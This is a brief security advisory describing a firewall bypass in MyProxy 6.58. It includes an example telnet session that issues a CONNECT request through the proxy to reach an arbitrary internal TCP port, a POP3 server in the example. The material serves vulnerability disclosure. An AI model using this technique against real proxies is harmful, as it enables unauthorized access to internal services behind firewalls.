MyProxy Firewall Bypassing
------------------------------------------------------------------------
SUMMARY
"MyProxy helps dramatically accelerate your Internet connection, save your
Internet costs and make your web surfing more enjoyable." It is possible
to issue MyProxy a CONNECT command that will cause it to connect to any
TCP port on machines the MyProxy has access to.
DETAILS
Vulnerable Systems:
* MyProxy version 6.58
Example:
Proxy IP Address: 5.5.5.5
The Pop3 Server IP Address : 4.4.4.4
Connect with "telnet 5.5.5.5 8080" to the proxy and enter: CONNECT
4.4.4.4:110 / HTTP/1.0
The response should be the POP3 server banner. Basically this allows you
to connect to any TCP port on any machine the proxy can connect to.
Vendor Status:
